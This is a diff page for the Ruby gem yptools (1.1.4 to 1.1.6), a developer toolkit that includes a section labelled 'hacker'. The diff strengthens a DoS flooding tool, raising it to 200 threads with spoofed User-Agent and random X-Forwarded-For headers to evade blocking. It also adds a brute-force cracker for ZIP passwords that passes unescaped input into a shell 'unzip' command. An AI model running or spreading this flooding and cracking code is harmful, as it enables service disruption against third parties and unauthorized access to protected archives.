yptools 1.1.4 → 1.1.6

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: c49bfe04d254b19d13b80a1e9f5db8ffe4b5d44ec6008d304b6f867bee00e66b
4
- data.tar.gz: 036e0974cc6ebe80b186c43f5ede5f39088d17847563391e7084f81c4d94a487
3
+ metadata.gz: bce0b24f8105efc32897586bcad82bae9a7431ec57aef6aadf01184b77a5625d
4
+ data.tar.gz: 20e96b240ce3052ed6eb296098856d2d3c9acf5301d7feb2f4ada19fb53da49f
5
5
  SHA512:
6
- metadata.gz: a22f3e20325311844302d284987884261b4fc61e1de3cde94d5feb969a0653b843a09c270a6bedce162ecdf13d9f30d649723dbbec4da6a936c1c577bb398a32
7
- data.tar.gz: 20daa32b7722a94e5e25c7b883e0ab6546698463a74256f73b6a4a770233295f24b2f7d504563db71c94d2738b0e045c76726db2352607ab68a3331fa8c60b41
6
+ metadata.gz: 4432ede4114c7be8e96597ac1a907125a18baca8b3d8c5dc00b9b70f0bf46925421f8aa0e014dbc01043866655114f905af49b9fd07abf53e37c9426b9d0337c
7
+ data.tar.gz: 84192a97f9bd067dd493f5131d1269bf3293ef7dabc0345aa96c559e7283a4a1fb0943204b897c4f9a80fc5bc12f5a7f5b04ebf54e02f0b058f6dda2a012a0e1
@@ -894,7 +894,7 @@ class YPAutoCreate
894
894
  end
895
895
  }
896
896
 
897
- recordsNameTemp.push "key"
897
+ recordsNameTemp.push "@(key)"
898
898
 
899
899
  valueName = "(" + valueNameTemp.join(", ") + ")"
900
900
  recordsName = "(" + recordsNameTemp.join(", ") + ")"
@@ -9,7 +9,7 @@ class YPDosAttack
9
9
  uri = URI(url) # 修改为你想要请求的网址
10
10
 
11
11
  n = 10 # 发送 10 个请求
12
- concurrency = 5 # 使用 5 个线程
12
+ concurrency = 200 # 使用 100 个线程
13
13
  if request_count
14
14
  n = request_count.to_i
15
15
  end
@@ -26,7 +26,14 @@ class YPDosAttack
26
26
  n.times do |i|
27
27
  threads << Thread.new do
28
28
  begin
29
- response = Net::HTTP.get_response(uri)
29
+ req = Net::HTTP::Get.new(uri)
30
+ req['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3' # 添加 User-Agent 请求头
31
+ ip_address = Array.new(4) { rand(256) }.join('.')
32
+ req['X-Forwarded-For'] = ip_address
33
+ # req['X-Forwarded-For'] = '192.168.0.1' # 将 X-Forwarded-For 请求头设置为你想要使用的 IP 地址
34
+ response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: uri.scheme == 'https') do |http|
35
+ http.request(req)
36
+ end
30
37
  mutex.synchronize do
31
38
  if response.is_a?(Net::HTTPSuccess)
32
39
  success_count += 1
@@ -3,13 +3,7 @@ class YPHelp
3
3
  def self.message
4
4
  puts %q{
5
5
 
6
- 🤖🤖🤖 - 智能聊天、绘画(OpenAI
7
- chatgpt: use [yptools chatgpt] 创建会话列表与 chatgpt 聊天,会记录上下内容(科学上网)
8
- [yptools chatgpt ...] 快速与 chatgpt 沟通,不会记录上下内容
9
-
10
- openai: use [yptools openaiimg ...] 根据文本描述生成图像(eg: yptools openaiimg '老虎和狮子大战' )
11
-
12
- 🚀🚀🚀 - iOS开发者(IOS Developer)
6
+ 🍎🍎🍎 - iOS开发者(IOS Developer
13
7
  autocre: use [yptools autocre ...] 自动化工具命令
14
8
  use [yptools autocre -objc ...] 根据 json 自动创建 Objective-C 数据库操作文件 .h|.m 文件。(依赖三方库 FMDB )
15
9
  use [yptools autocre -init] 构建数据库操作文件的json模板
@@ -20,12 +14,16 @@ class YPHelp
20
14
 
21
15
  showipa: use [yptools showipa ...] 用于解析ipa文件
22
16
 
23
- update: use [yptools update] 更新yptools
24
-
25
17
  ufct: use [yptools ufct] 更新当前目录下面文件后缀为.h|.m 的文件创建时间
26
18
 
27
19
  xpj: use [yptools xpj ...] use xcodeproj api
28
20
  use [yptools xpj check] 检查当前目录项目文件是否存在引用的问题
21
+
22
+ 🤖🤖🤖 - 智能聊天、绘画(OpenAI)
23
+ chatgpt: use [yptools chatgpt] 创建会话列表与 chatgpt 聊天,会记录上下内容(科学上网)
24
+ [yptools chatgpt ...] 快速与 chatgpt 沟通,不会记录上下内容
25
+
26
+ openai: use [yptools openaiimg ...] 根据文本描述生成图像(eg: yptools openaiimg '老虎和狮子大战' )
29
27
 
30
28
  🤡🤡🤡 - hacker
31
29
  scanlocalips: use [yptools scanlocalips] 扫描本地局域网下所有 IP
@@ -34,7 +32,11 @@ class YPHelp
34
32
 
35
33
  dosattack: use [yptools dosattack <ip> <n>] DOS攻击 「警告:此方法仅用于学习使用」 ip=请求域名 n=攻击次数 (eg: yptools dosattack https://example.com 10000)
36
34
 
37
- 💩💩💩 - 帮助(help)
35
+ unzip: use [yptools unzip <文件>] 分析压缩文件,破解密码。【扩展说明:n='0-10' a='a-z' A='A-Z' s='特殊字符'】(eg:yptools unzip -n -a -A file.zip)
36
+
37
+ 💩💩💩 - 帮助(help & update)
38
+ update: use [yptools update] 更新yptools
39
+
38
40
  help: use [yptools help] 查看帮助
39
41
 
40
42
  }
@@ -0,0 +1,93 @@
1
+ require_relative '../log/yp_log'
2
+
3
+ class YPUnzipTools
4
+
5
+ def self.unzip(argvs)
6
+
7
+ # 测试方法
8
+ password_characters = []
9
+
10
+ arr_n = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
11
+ arr_a = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z",]
12
+ arr_A = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z",]
13
+ arr_s = ["!", "@", "#", "$", "%", "^", "&", "*", "(", ")", "-", "_", "+", "=", "{", "}", "[", "]", "|", "\\", ":", ";", "<", ">", ",", ".", "?", "/"]
14
+
15
+ filename = argvs.last
16
+ if File.exist?(filename)
17
+ yp_log_doing "#{filename} 存在,准备开始扫描"
18
+ else
19
+ yp_log_fail "#{filename} 不存在"
20
+ return
21
+ end
22
+
23
+ if argvs.include?("-n")
24
+ password_characters += arr_n
25
+ end
26
+
27
+ if (argvs.include?("-a"))
28
+ password_characters += arr_a
29
+ end
30
+
31
+ if argvs.include?("-A")
32
+ password_characters += arr_A
33
+ end
34
+
35
+ if argvs.include?("-s")
36
+ password_characters += arr_s
37
+ end
38
+
39
+ if (password_characters.length == 0)
40
+ password_characters = arr_n + arr_a + arr_A + arr_s
41
+ end
42
+
43
+ yp_log_msg "扫描由下面数组组成的密码"
44
+ yp_log_success "#{password_characters}"
45
+
46
+ characters = password_characters
47
+
48
+ length = 10000
49
+ allCount = 0
50
+ for num in 1..length do
51
+ allCount += self.generate_passwords(filename, num, characters)
52
+ end
53
+ yp_log_fail "暂未发现密码,共尝试了#{allCount}个密码!"
54
+
55
+ end
56
+
57
+ def self.generate_passwords(filename, length, characters, prefix = "", count = 0)
58
+ sleep(0.01)
59
+ # 如果密码长度为0,直接返回前缀并增加计数器
60
+ if length == 0
61
+ result = self.unzip_file(filename, prefix)
62
+ if result == 1
63
+ yp_log_success "解压成功,密码是#{prefix}"
64
+ exit
65
+ return count
66
+ else
67
+ yp_log_msg "#{prefix}:密码错误,解压失败"
68
+ end
69
+ count += 1
70
+ else
71
+ # 对于每个字符,将其加入到前缀中并递归生成更短的密码
72
+ characters.each do |c|
73
+ new_prefix = prefix + c
74
+ count = self.generate_passwords(filename, length - 1, characters, new_prefix, count)
75
+ end
76
+ end
77
+ return count
78
+ end
79
+
80
+ def self.unzip_file(filePath, password)
81
+ zip_file = filePath
82
+ # 执行解压命令
83
+ puts "unzip -P #{password} -o -q #{zip_file}"
84
+ system("unzip -P #{password} -o -q #{zip_file}")
85
+ # 判断解压是否成功
86
+ if $?.exitstatus == 0
87
+ return 1
88
+ else
89
+ return 0
90
+ end
91
+ end
92
+
93
+ end
data/lib/yptools.rb CHANGED
@@ -14,6 +14,7 @@ require_relative 'yptools/chatai/yp_chatai'
14
14
  require_relative 'yptools/portscan/yp_portscan'
15
15
  require_relative 'yptools/scanlocalips/yp_scanlocalips'
16
16
  require_relative 'yptools/dosattack/yp_dosattack'
17
+ require_relative 'yptools/unziptools/yp_unziptools'
17
18
 
18
19
  class YPTools
19
20
 
@@ -116,6 +117,13 @@ class YPTools
116
117
  self.scanlocalips
117
118
  when 'dosattack'
118
119
  self.dosattack argvs
120
+ when 'unzip'
121
+ if argvs.size > 1
122
+ self.unzip argvs
123
+ else
124
+ yp_log_fail "'yptools unzip ..' 参数缺失"
125
+ self.help
126
+ end
119
127
  else
120
128
  self.help
121
129
  end
@@ -186,6 +194,10 @@ class YPTools
186
194
  YPDosAttack.dosattack(argvs)
187
195
  end
188
196
 
197
+ def self.unzip(argvs)
198
+ YPUnzipTools.unzip(argvs)
199
+ end
200
+
189
201
  end
190
202
 
191
203
 
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: yptools
3
3
  version: !ruby/object:Gem::Version
4
- version: 1.1.4
4
+ version: 1.1.6
5
5
  platform: ruby
6
6
  authors:
7
7
  - chenghengsheng
8
8
  autorequire:
9
9
  bindir: bin
10
10
  cert_chain: []
11
- date: 2023-03-27 00:00:00.000000000 Z
11
+ date: 2023-05-08 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: bundler
@@ -144,6 +144,7 @@ files:
144
144
  - lib/yptools/package/yp_package.rb
145
145
  - lib/yptools/portscan/yp_portscan.rb
146
146
  - lib/yptools/scanlocalips/yp_scanlocalips.rb
147
+ - lib/yptools/unziptools/yp_unziptools.rb
147
148
  - lib/yptools/update/yp_update.rb
148
149
  - lib/yptools/xcodeproj/yp_xcodeproj.rb
149
150
  homepage: https://github.com/HansenCCC/YPTools.git